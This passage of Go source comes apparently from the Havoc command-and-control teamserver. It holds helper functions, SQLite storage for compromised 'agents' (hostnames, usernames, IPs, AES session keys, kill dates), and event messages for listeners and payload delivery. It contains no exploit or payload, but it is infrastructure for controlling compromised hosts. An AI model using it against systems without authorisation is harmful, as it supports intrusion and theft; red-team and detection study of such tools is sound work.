logger.Error("Failed to convert UTF8 to UTF16") return []byte("") } return []byte(encoded) } func EncodeUTF8(s string) []byte { // in C, strings terminate with a null-byte if strings.HasSuffix(s, "\x00") == false { s += "\x00" } return []byte(s) } func ByteCountSI(b int64) string { const unit = 1000 if b < unit { return fmt.Sprintf("%d B", b) } div, exp := int64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } return fmt.Sprintf("%.2f %cB", float64(b)/float64(div), "kMGTPE"[exp]) } func XorCipher(input, key string) (output string) { for i := 0; i < len(input); i++ { output += string(input[i] ^ key[i%len(key)]) } return output } func RandomString(n int) string { var chars = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321") str := make([]rune, n) for i := range str { str[i] = chars[rand.Intn(len(chars))] } return string(str) } func Int32ToLittle(x uint32) uint32 { bs := make([]byte, 4) binary.LittleEndian.PutUint32(bs, x) return binary.LittleEndian.Uint32(bs) } func StripNull(s string) string { return string(bytes.Trim([]byte(s), "\x00")) } func PercentageChange(part int, total int64) float64 { return (float64(part) * float64(100)) / float64(total) } func IpStringToInt32(ip string) (int, error) { var long uint32 err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.LittleEndian, &long) if err != nil { return 0, err } return int(long), nil } func Int32ToIpString(ipInt int64) string { // need to do two bit shifting and “0xff” masking b0 := strconv.FormatInt((ipInt>>24)&0xff, 10) b1 := strconv.FormatInt((ipInt>>16)&0xff, 10) b2 := strconv.FormatInt((ipInt>>8)&0xff, 10) b3 := strconv.FormatInt(ipInt&0xff, 10) return b3 + "." + b2 + "." + b1 + "." + b0 } func EpochTimeToSystemTime( EpochTime int64 ) int64 { var ( UNIX_TIME_START int64 = 0x019DB1DED53E8000 //January 1, 1970 (start of Unix epoch) in "ticks" TICKS_PER_SECOND int64 = 10000000 //a tick is 100ns ) if (EpochTime == 0) { return 0 } return ( EpochTime * TICKS_PER_SECOND ) + UNIX_TIME_START } func GetRandomChar(dict string) string { return string(dict[rand.Intn(len(dict))]) } // generate a PipeName from a name template func GeneratePipeName(Template string, PID int, TID int) string { var PipeName = Template hexdigits := "0123456789abcdef" digits := "0123456789" ascii_uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ascii_lowercase := "abcdefghijklmnopqrstuvwxyz" rand.Seed(time.Now().UnixNano()) // add the process PID (if specified) if PID != 0 { PipeName = strings.Replace(PipeName, "{pid}", fmt.Sprintf("%d", PID), -1) PipeName = strings.Replace(PipeName, "{Pid}", fmt.Sprintf("%d", PID), -1) PipeName = strings.Replace(PipeName, "{PID}", fmt.Sprintf("%d", PID), -1) } // add the process TID (if specified) if TID != 0 { PipeName = strings.Replace(PipeName, "{tid}", fmt.Sprintf("%d", TID), -1) PipeName = strings.Replace(PipeName, "{Tid}", fmt.Sprintf("%d", TID), -1) PipeName = strings.Replace(PipeName, "{TID}", fmt.Sprintf("%d", TID), -1) } // #: hex char for strings.Contains(PipeName, "$") { PipeName = strings.Replace(PipeName, "$", GetRandomChar(hexdigits), 1) } // #: number for strings.Contains(PipeName, "#") { PipeName = strings.Replace(PipeName, "#", GetRandomChar(digits), 1) } // !: uppercase char for strings.Contains(PipeName, "@") { PipeName = strings.Replace(PipeName, "@", GetRandomChar(ascii_uppercase), 1) } // !: lowercase char for strings.Contains(PipeName, "!") { PipeName = strings.Replace(PipeName, "!", GetRandomChar(ascii_lowercase), 1) } // make sure the pipename starts with \\.\pipe\ if strings.HasPrefix(PipeName, "\\\\.\\pipe\\") == false { PipeName = "\\\\.\\pipe\\" + PipeName } return PipeName } func GetInterfaceIpv4Addr(interfaceOrIp string) string { var ( ief *net.Interface addrs []net.Addr ipv4Addr net.IP err error ) if ief, err = net.InterfaceByName(interfaceOrIp); err != nil { // get interface return interfaceOrIp } if addrs, err = ief.Addrs(); err != nil { // get addresses return interfaceOrIp } for _, addr := range addrs { // get ipv4 address if ipv4Addr = addr.(*net.IPNet).IP.To4(); ipv4Addr != nil { break } } if ipv4Addr == nil { return interfaceOrIp } return ipv4Addr.String() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/db/000077500000000000000000000000001467014221700206125ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/db/agents.go000066400000000000000000000166601467014221700224330ustar00rootroot00000000000000package db import ( "errors" "fmt" "strconv" "encoding/base64" "Havoc/pkg/agent" ) func (db *DB) AgentAdd(agent *agent.Agent) error { var err error var AgentID int64 AgentID, err = strconv.ParseInt(agent.NameID, 16, 32) if err != nil { return err } /* check if it's a new db */ if db.Existed() { /* check if agent already exists */ if db.AgentExist(int(AgentID)) { return nil } } else { /* check if agent already exists */ if db.AgentExist(int(AgentID)) { return errors.New(fmt.Sprintf("agent %x already exist in db", agent.NameID)) } } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("INSERT INTO TS_Agents ( AgentID, Active, Reason, AESKey, AESIv, Hostname, Username, DomainName, ExternalIP, InternalIP, ProcessName, BaseAddress, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, OSVersion, OSArch, SleepDelay, SleepJitter, KillDate, WorkingHours, FirstCallIn, LastCallIn) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)") if err != nil { return err } /* add the data to the agent table */ _, err = stmt.Exec( int(AgentID), 1, "", base64.StdEncoding.EncodeToString(agent.Encryption.AESKey), base64.StdEncoding.EncodeToString(agent.Encryption.AESIv), agent.Info.Hostname, agent.Info.Username, agent.Info.DomainName, agent.Info.ExternalIP, agent.Info.InternalIP, agent.Info.ProcessName, agent.Info.BaseAddress, agent.Info.ProcessPID, agent.Info.ProcessTID, agent.Info.ProcessPPID, agent.Info.ProcessArch, agent.Info.Elevated, agent.Info.OSVersion, agent.Info.OSArch, agent.Info.SleepDelay, agent.Info.SleepJitter, agent.Info.KillDate, agent.Info.WorkingHours, agent.Info.FirstCallIn, agent.Info.LastCallIn) if err != nil { return err } stmt.Close() return nil } func (db *DB) AgentUpdate(agent *agent.Agent) error { var err error var AgentID int64 var active int AgentID, err = strconv.ParseInt(agent.NameID, 16, 32) if err != nil { return err } /* check if agent already exists */ if db.AgentExist(int(AgentID)) == false { return errors.New("Agent does not exist") } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("UPDATE TS_Agents SET Active = ?, Reason = ?, AESKey = ?, AESIv = ?, Hostname = ?, Username = ?, DomainName = ?, ExternalIP = ?, InternalIP = ?, ProcessName = ?, BaseAddress = ?, ProcessPID = ?, ProcessTID = ?, ProcessPPID = ?, ProcessArch = ?, Elevated = ?, OSVersion = ?, OSArch = ?, SleepDelay = ?, SleepJitter = ?, KillDate = ?, WorkingHours = ?, FirstCallIn = ?, LastCallIn = ? WHERE AgentID = ?") if err != nil { return err } if agent.Active { active = 1 } else { active = 0 } /* add the data to the agent table */ _, err = stmt.Exec( active, agent.Reason, base64.StdEncoding.EncodeToString(agent.Encryption.AESKey), base64.StdEncoding.EncodeToString(agent.Encryption.AESIv), agent.Info.Hostname, agent.Info.Username, agent.Info.DomainName, agent.Info.ExternalIP, agent.Info.InternalIP, agent.Info.ProcessName, agent.Info.BaseAddress, agent.Info.ProcessPID, agent.Info.ProcessTID, agent.Info.ProcessPPID, agent.Info.ProcessArch, agent.Info.Elevated, agent.Info.OSVersion, agent.Info.OSArch, agent.Info.SleepDelay, agent.Info.SleepJitter, agent.Info.KillDate, agent.Info.WorkingHours, agent.Info.FirstCallIn, agent.Info.LastCallIn, int(AgentID)) if err != nil { return err } stmt.Close() return nil } func (db *DB) AgentHasDied(AgentID int) bool { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("UPDATE TS_Agents SET Active = 0 WHERE AgentID = ?") if err != nil { return false } // execute statement _, err = stmt.Exec(AgentID) stmt.Close() if err != nil { return false } return true } func (db *DB) AgentExist(AgentID int) bool { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT COUNT(*) FROM TS_Agents WHERE AgentID = ?") if err != nil { return false } // execute statement query, err := stmt.Query(AgentID) defer query.Close() if err != nil { return false } for query.Next() { var NumRows int query.Scan(&NumRows) if NumRows == 1 { return true } else { return false } } return false } func (db *DB) AgentRemove(AgentID int) error { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("DELETE FROM TS_Agents WHERE AgentID = ?") if err != nil { return err } // execute statement _, err = stmt.Exec(AgentID) stmt.Close() if err != nil { return err } return nil } func (db *DB) AgentAll() []*agent.Agent { var Agents []*agent.Agent query, err := db.db.Query("SELECT AgentID, Active, Reason, AESKey, AESIv, Hostname, Username, DomainName, ExternalIP, InternalIP, ProcessName, BaseAddress, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, OSVersion, OSArch, SleepDelay, SleepJitter, KillDate, WorkingHours, FirstCallIn, LastCallIn FROM TS_Agents WHERE Active = 1") if err != nil { return nil } defer query.Close() for query.Next() { var ( AgentID int Active int Reason string AESKey string AESIv string Hostname string Username string DomainName string ExternalIP string InternalIP string ProcessName string BaseAddress int64 ProcessPID int ProcessTID int ProcessPPID int ProcessArch string Elevated string OSVersion string OSArch string SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 FirstCallIn string LastCallIn string ) /* read the selected items */ err = query.Scan(&AgentID, &Active, &Reason, &AESKey, &AESIv, &Hostname, &Username, &DomainName, &ExternalIP, &InternalIP, &ProcessName, &BaseAddress, &ProcessPID, &ProcessTID, &ProcessPPID, &ProcessArch, &Elevated, &OSVersion, &OSArch, &SleepDelay, &SleepJitter, &KillDate, &WorkingHours, &FirstCallIn, &LastCallIn) if err != nil { /* at this point we failed * just return the collected agents */ return Agents } BytesAESKey, _ := base64.StdEncoding.DecodeString(AESKey) BytesAESIv, _ := base64.StdEncoding.DecodeString(AESIv) var Agent = &agent.Agent{ Encryption: struct { AESKey []byte AESIv []byte }{ AESKey: BytesAESKey, AESIv: BytesAESIv, }, Active: Active == 1, Reason: Reason, SessionDir: "", Info: new(agent.AgentInfo), } Agent.NameID = fmt.Sprintf("%08x", AgentID) Agent.SessionDir = "" Agent.BackgroundCheck = false Agent.TaskedOnce = true Agent.Info.MagicValue = agent.DEMON_MAGIC_VALUE Agent.Info.Listener = nil Agent.Info.Hostname = Hostname Agent.Info.Username = Username Agent.Info.DomainName = DomainName Agent.Info.ExternalIP = ExternalIP Agent.Info.InternalIP = InternalIP Agent.Info.ProcessName = ProcessName Agent.Info.BaseAddress = BaseAddress Agent.Info.ProcessPID = ProcessPID Agent.Info.ProcessTID = ProcessTID Agent.Info.ProcessPPID = ProcessPPID Agent.Info.ProcessArch = ProcessArch Agent.Info.Elevated = Elevated Agent.Info.OSVersion = OSVersion Agent.Info.OSArch = OSArch Agent.Info.SleepDelay = SleepDelay Agent.Info.SleepJitter = SleepJitter Agent.Info.KillDate = KillDate Agent.Info.WorkingHours = WorkingHours Agent.Info.FirstCallIn = FirstCallIn Agent.Info.LastCallIn = LastCallIn /* append collected agent to agent array */ Agents = append(Agents, Agent) } return Agents } havoc-0.6~git20240910.69ce17c/teamserver/pkg/db/db.go000066400000000000000000000030371467014221700215310ustar00rootroot00000000000000package db import ( "database/sql" "os" _ "github.com/mattn/go-sqlite3" ) type DB struct { existed bool db *sql.DB path string } func DatabaseNew(dbpath string) (*DB, error) { var ( db = new(DB) err error ) db.path = dbpath db.existed = true if _, err = os.Stat(dbpath); os.IsNotExist(err) { db.existed = false } /* creates and or opens a db */ db.db, err = sql.Open("sqlite3", db.path) if err != nil { return nil, err } if !db.existed { /* create db tables */ err = db.init() if err != nil { return nil, err } } return db, nil } func (db *DB) init() error { var err error _, err = db.db.Exec(`CREATE TABLE "TS_Listeners" ("Name" text UNIQUE, "Protocol" text, "Config" text);`) if err != nil { return err } _, err = db.db.Exec(`CREATE TABLE "TS_Agents" ("AgentID" int, "Active" int, "Reason" string, "AESKey" string, "AESIv" string, "Hostname" string, "Username" string, "DomainName" string, "ExternalIP" string, "InternalIP" string, "ProcessName" string, BaseAddress int, "ProcessPID" int, "ProcessTID" int, "ProcessPPID" int, "ProcessArch" string, "Elevated" string, "OSVersion" string, "OSArch" string, "SleepDelay" int, "SleepJitter" int, "KillDate" int, "WorkingHours" int, "FirstCallIn" string, "LastCallIn" string);`) if err != nil { return err } _, err = db.db.Exec(`CREATE TABLE "TS_Links" ("ParentAgentID" int, "LinkAgentID" int);`) if err != nil { return err } return nil } func (db *DB) Existed() bool { return db.existed } func (db *DB) Path() string { return db.path } havoc-0.6~git20240910.69ce17c/teamserver/pkg/db/links.go000066400000000000000000000052421467014221700222640ustar00rootroot00000000000000package db import ( "errors" //"log" ) func (db *DB) LinkAdd(ParentAgentID int, LinkAgentID int) error { var err error /* check if it's a new db */ if db.Existed() { /* check if listener already exists */ if db.LinkExist(ParentAgentID, LinkAgentID) { return nil } } else { /* check if listener already exists */ if db.LinkExist(ParentAgentID, LinkAgentID) { return errors.New("Link already exist in db") } } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("INSERT INTO TS_Links (ParentAgentID, LinkAgentID) values(?,?)") if err != nil { return err } /* add the data to the links table */ _, err = stmt.Exec(ParentAgentID, LinkAgentID) if err != nil { return err } stmt.Close() return nil } func (db *DB) LinkExist(ParentAgentID int, LinkAgentID int) bool { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT COUNT(*) FROM TS_Links WHERE ParentAgentID = ? AND LinkAgentID = ?") if err != nil { return false } // execute statement query, err := stmt.Query(ParentAgentID, LinkAgentID) defer query.Close() if err != nil { return false } for query.Next() { var NumRows int query.Scan(&NumRows) if NumRows == 1 { return true } else { return false } } return false } func (db *DB) ParentOf(AgentID int) (int, error) { var ( ID int ) // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT ParentAgentID FROM TS_Links WHERE LinkAgentID = ?") if err != nil { return 0, err } // execute statement query, err := stmt.Query(AgentID) defer query.Close() if err != nil { return 0, err } for query.Next() { if err = query.Scan(&ID); err != nil { return 0, err } return ID, nil } return 0, errors.New("Parent not found") } func (db *DB) LinksOf(AgentID int) []int { var ( ID int IDs []int ) // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT LinkAgentID FROM TS_Links WHERE ParentAgentID = ?") if err != nil { return IDs } // execute statement query, err := stmt.Query(AgentID) defer query.Close() if err != nil { return IDs } for query.Next() { if err = query.Scan(&ID); err != nil { return IDs } IDs = append(IDs, ID) } return IDs } func (db *DB) LinkRemove(ParentAgentID int, LinkAgentID int) error { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("DELETE FROM TS_Links WHERE ParentAgentID = ? AND LinkAgentID = ?") if err != nil { return err } // execute statement _, err = stmt.Exec(ParentAgentID, LinkAgentID) stmt.Close() if err != nil { return err } return nil } havoc-0.6~git20240910.69ce17c/teamserver/pkg/db/listeners.go000066400000000000000000000052441467014221700231560ustar00rootroot00000000000000package db import ( "errors" "log" ) func (db *DB) ListenerAdd(Name, Protocol, Config string) error { var err error /* check if it's a new db */ if db.Existed() { /* check if listener already exists */ if db.ListenerExist(Name) { return nil } } else { /* check if listener already exists */ if db.ListenerExist(Name) { return errors.New("listener \"" + Name + "\"already exist in db") } } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("INSERT INTO TS_Listeners (Name, Protocol, Config) values(?,?,?)") if err != nil { return err } /* add the data to the listener table */ _, err = stmt.Exec(Name, Protocol, Config) if err != nil { return err } stmt.Close() return nil } func (db *DB) ListenerExist(Name string) bool { query, err := db.db.Query("SELECT Name FROM TS_Listeners") if err != nil { return false } defer query.Close() for query.Next() { var QueryName string query.Scan(&QueryName) if Name == QueryName { return true } } return false } func (db *DB) ListenerAll() []map[string]string { var Listeners []map[string]string query, err := db.db.Query("SELECT Name, Protocol, Config FROM TS_Listeners") if err != nil { return nil } defer query.Close() for query.Next() { var ( Name string Prot string Conf string Data map[string]string ) /* read the selected items */ err = query.Scan(&Name, &Prot, &Conf) if err != nil { /* at this point we failed * just return the collected listeners */ return Listeners } Data = map[string]string{ "Name": Name, "Protocol": Prot, "Config": Conf, } /* append collected listener to listener array */ Listeners = append(Listeners, Data) } return Listeners } func (db *DB) ListenerCount() int { var Count int query, err := db.db.Query("SELECT COUNT(*) FROM TS_Listeners") if err != nil { return 0 } defer query.Close() for query.Next() { if err = query.Scan(&Count); err != nil { log.Fatal(err) } } return Count } func (db *DB) ListenerNames() []string { var ( Name string Names []string ) query, err := db.db.Query("SELECT Name FROM TS_Listeners") if err != nil { return nil } defer query.Close() for query.Next() { if err = query.Scan(&Name); err != nil { return Names } Names = append(Names, Name) } return Names } func (db *DB) ListenerRemove(Name string) error { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("DELETE FROM TS_Listeners WHERE Name = ?") if err != nil { return err } // execute statement _, err = stmt.Exec(Name) stmt.Close() if err != nil { return err } return nil } havoc-0.6~git20240910.69ce17c/teamserver/pkg/db/misc.go000066400000000000000000000000131467014221700220660ustar00rootroot00000000000000package db havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/000077500000000000000000000000001467014221700215315ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/chatlog.go000066400000000000000000000013541467014221700235040ustar00rootroot00000000000000package events import ( "time" "Havoc/pkg/packager" ) var ChatLog chatLog func (chatLog) NewUserConnected(User string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Chat.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Chat.NewUser, Info: map[string]any{ "User": User, }, }, } } func (chatLog) UserDisconnected(User string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Chat.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Chat.UserDisconnected, Info: map[string]any{ "User": User, }, }, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/demons.go000066400000000000000000000074411467014221700233530ustar00rootroot00000000000000package events import ( "encoding/base64" "encoding/json" "fmt" "strconv" "time" "Havoc/pkg/agent" "Havoc/pkg/logr" "Havoc/pkg/packager" ) /* TODO: rename everything here from 'Demon' to 'Agent' */ var Demons demons func (demons) NewDemon(Agent *agent.Agent) packager.Package { var ( Package packager.Package ) Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Head.OneTime = "true" Package.Body.SubEvent = packager.Type.Session.NewSession Package.Body.Info = make(map[string]interface{}) InfoMap := map[string]interface{}{ "Active": fmt.Sprintf("%v", Agent.Active), "BackgroundCheck": Agent.BackgroundCheck, "DomainName": Agent.Info.DomainName, "Elevated": Agent.Info.Elevated, "Encryption": map[string]interface{}{ "AESKey": base64.StdEncoding.EncodeToString(Agent.Encryption.AESKey), "AESIv": base64.StdEncoding.EncodeToString(Agent.Encryption.AESIv), }, "InternalIP": Agent.Info.InternalIP, "ExternalIP": Agent.Info.ExternalIP, "FirstCallIn": Agent.Info.FirstCallIn, "LastCallIn": Agent.Info.LastCallIn, "Hostname": Agent.Info.Hostname, "Listener": "null", // ? "MagicValue": fmt.Sprintf("%x", Agent.Info.MagicValue), "NameID": Agent.NameID, "OSArch": Agent.Info.OSArch, "OSBuild": Agent.Info.OSBuild, "OSVersion": Agent.Info.OSVersion, "Pivots": map[string]interface{}{ "Parent": nil, "Links": []string{}, }, "PortFwds": []string{}, "ProcessArch": Agent.Info.ProcessArch, "ProcessName": Agent.Info.ProcessName, "ProcessPID": fmt.Sprintf("%d", Agent.Info.ProcessPID), "ProcessPPID": fmt.Sprintf("%d", Agent.Info.ProcessPPID), "ProcessPath": Agent.Info.ProcessPath, "Reason": Agent.Reason, "SleepDelay": Agent.Info.SleepDelay, "SleepJitter": Agent.Info.SleepJitter, "KillDate": Agent.Info.KillDate, "WorkingHours": Agent.Info.WorkingHours, "SocksCli": []string{}, "SocksCliMtx": nil, "SocksSvr": []string{}, "TaskedOnce": Agent.TaskedOnce, "Username": Agent.Info.Username, "PivotParent": "", } if Agent.Pivots.Parent != nil { InfoMap["PivotParent"] = Agent.Pivots.Parent.NameID } Package.Body.Info = InfoMap return Package } func (demons) DemonOutput(DemonID string, CommandID int, Output string) packager.Package { var Package packager.Package var LogrOut map[string]string err := json.Unmarshal([]byte(Output), &LogrOut) if err == nil && CommandID != agent.COMMAND_NOJOB { logr.LogrInstance.DemonAddOutput(DemonID, LogrOut, time.Now().UTC().Format("02/01/2006 15:04:05")) } Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Session.Output Package.Body.Info = make(map[string]interface{}) Package.Body.Info["DemonID"] = DemonID Package.Body.Info["CommandID"] = strconv.Itoa(CommandID) Package.Body.Info["Output"] = base64.StdEncoding.EncodeToString([]byte(Output)) return Package } func (demons) CallBack(DemonID string, callback string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Session.Output Package.Body.Info = make(map[string]interface{}) Package.Body.Info["DemonID"] = DemonID Package.Body.Info["CommandID"] = "10" Package.Body.Info["Output"] = callback return Package } func (demons) MarkAs(AgentID, Mark string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Session.MarkAsDead Package.Body.Info = make(map[string]interface{}) Package.Body.Info["AgentID"] = AgentID Package.Body.Info["Marked"] = Mark return Package } havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/events.go000066400000000000000000000052251467014221700233700ustar00rootroot00000000000000package events import ( "Havoc/pkg/logger" "encoding/json" "net" "time" "Havoc/pkg/packager" "Havoc/pkg/profile" ) type ( chatLog int listeners int demons int gate int service int teamserver int ) func Authenticated(authed bool) packager.Package { if authed { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Success, Info: map[string]any{ "Message": "Successful Authenticated", }, }, } } else { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Error, Info: map[string]any{ "Message": "Wrong Password", }, }, } } } func UserAlreadyExits() packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Error, Info: map[string]any{ "Message": "User already exits", }, }, } } func UserDoNotExists() packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Error, Info: map[string]any{ "Message": "User doesn't exits", }, }, } } func SendProfile(profile *profile.Profile) packager.Package { var ( JsonBytes []byte Addresses string addrs []net.Addr err error ) JsonBytes, err = json.Marshal(*profile.Config.Demon) if err != nil { logger.DebugError("json.Marshal Error: " + err.Error()) return packager.Package{} } addrs, err = net.InterfaceAddrs() if err != nil { logger.DebugError("net.InterfaceAddrs Error: " + err.Error()) return packager.Package{} } for _, address := range addrs { if aspnet, ok := address.(*net.IPNet); ok && !aspnet.IP.IsLoopback() { if aspnet.IP.To4() != nil { if len(Addresses) == 0 { Addresses = aspnet.IP.String() } else { Addresses += ", " + aspnet.IP.String() } } } } return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Profile, Info: map[string]any{ "Demon": string(JsonBytes), "TeamserverIPs": Addresses, }, }, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/gate.go000066400000000000000000000016251467014221700230040ustar00rootroot00000000000000package events import ( "encoding/base64" "time" "Havoc/pkg/packager" ) var Gate gate func (g gate) SendStageless(Format string, payload []byte) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Gate.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Gate.Stageless, Info: map[string]any{ "PayloadArray": base64.StdEncoding.EncodeToString(payload), "Format": Format, "FileName": Format, }, }, } } func (g gate) SendConsoleMessage(MsgType, text string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Gate.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Gate.Stageless, Info: map[string]any{ "MessageType": MsgType, "Message": text, }, }, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/listeners.go000066400000000000000000000132471467014221700240770ustar00rootroot00000000000000package events import ( "strings" "time" "Havoc/pkg/handlers" "Havoc/pkg/packager" "github.com/fatih/structs" ) var Listener listeners func (listeners) ListenerAdd(FromUser string, Type int, Config any) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Head.User = FromUser Package.Body.SubEvent = packager.Type.Listener.Add switch Type { case handlers.LISTENER_HTTP: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.HTTP).Config) Package.Body.Info["Protocol"] = handlers.AGENT_HTTP Package.Body.Info["Headers"] = strings.Join(Config.(*handlers.HTTP).Config.Headers, ", ") Package.Body.Info["Uris"] = strings.Join(Config.(*handlers.HTTP).Config.Uris, ", ") /* proxy settings */ Package.Body.Info["Proxy Enabled"] = "false" if Config.(*handlers.HTTP).Config.Proxy.Enabled { Package.Body.Info["Proxy Enabled"] = "true" } Package.Body.Info["Proxy Type"] = Config.(*handlers.HTTP).Config.Proxy.Type Package.Body.Info["Proxy Host"] = Config.(*handlers.HTTP).Config.Proxy.Host Package.Body.Info["Proxy Port"] = Config.(*handlers.HTTP).Config.Proxy.Port Package.Body.Info["Proxy Username"] = Config.(*handlers.HTTP).Config.Proxy.Username Package.Body.Info["Proxy Password"] = Config.(*handlers.HTTP).Config.Proxy.Password Package.Body.Info["Secure"] = "false" if Config.(*handlers.HTTP).Config.Secure { Package.Body.Info["Secure"] = "true" } if Config.(*handlers.HTTP).Active { Package.Body.Info["Status"] = "Online" } else { Package.Body.Info["Status"] = "Offline" } delete(Package.Body.Info, "Proxy") delete(Package.Body.Info, "Response") delete(Package.Body.Info, "Hosts") var Hosts string for _, host := range Config.(*handlers.HTTP).Config.Hosts { if len(Hosts) == 0 { Hosts = host } else { Hosts += ", " + host } } Package.Body.Info["Hosts"] = Hosts break case handlers.LISTENER_EXTERNAL: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.External).Config) Package.Body.Info["Protocol"] = handlers.AGENT_EXTERNAL Package.Body.Info["Status"] = "Online" break case handlers.LISTENER_PIVOT_SMB: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.SMB).Config) Package.Body.Info["Protocol"] = handlers.AGENT_PIVOT_SMB Package.Body.Info["Status"] = "Online" break } return Package } func (listeners) ListenerEdit(Type int, Config any) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Listener.Edit switch Type { case handlers.LISTENER_HTTP: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.HTTPConfig)) Package.Body.Info["Protocol"] = handlers.AGENT_HTTP Package.Body.Info["Headers"] = strings.Join(Config.(*handlers.HTTPConfig).Headers, ", ") Package.Body.Info["Uris"] = strings.Join(Config.(*handlers.HTTPConfig).Uris, ", ") // Proxy settings Package.Body.Info["Proxy Enabled"] = "false" if Config.(*handlers.HTTPConfig).Proxy.Enabled { Package.Body.Info["Proxy Enabled"] = "true" } Package.Body.Info["Proxy Type"] = Config.(*handlers.HTTPConfig).Proxy.Type Package.Body.Info["Proxy Host"] = Config.(*handlers.HTTPConfig).Proxy.Host Package.Body.Info["Proxy Port"] = Config.(*handlers.HTTPConfig).Proxy.Port Package.Body.Info["Proxy Username"] = Config.(*handlers.HTTPConfig).Proxy.Username Package.Body.Info["Proxy Password"] = Config.(*handlers.HTTPConfig).Proxy.Password Package.Body.Info["Secure"] = "false" if Config.(*handlers.HTTPConfig).Secure { Package.Body.Info["Secure"] = "true" } /* response */ Package.Body.Info["Response Headers"] = strings.Join(Config.(*handlers.HTTPConfig).Response.Headers, ", ") delete(Package.Body.Info, "Proxy") delete(Package.Body.Info, "Response") delete(Package.Body.Info, "Hosts") var Hosts string for _, host := range Config.(*handlers.HTTPConfig).Hosts { if len(Hosts) == 0 { Hosts = host } else { Hosts += ", " + host } } Package.Body.Info["Hosts"] = Hosts break } return Package } func (listeners) ListenerError(FromUser string, ListenerName string, err error) packager.Package { var ( Package packager.Package listenerErr = strings.Split(err.Error(), ":") ) Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Head.User = FromUser Package.Body.SubEvent = packager.Type.Listener.Error Package.Body.Info = make(map[string]interface{}) Package.Body.Info["Error"] = listenerErr[len(listenerErr)-1] Package.Body.Info["Name"] = ListenerName return Package } func (listeners) ListenerRemove(ListenerName string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Listener.Remove Package.Body.Info = make(map[string]interface{}) Package.Body.Info["Name"] = ListenerName return Package } func (listeners) 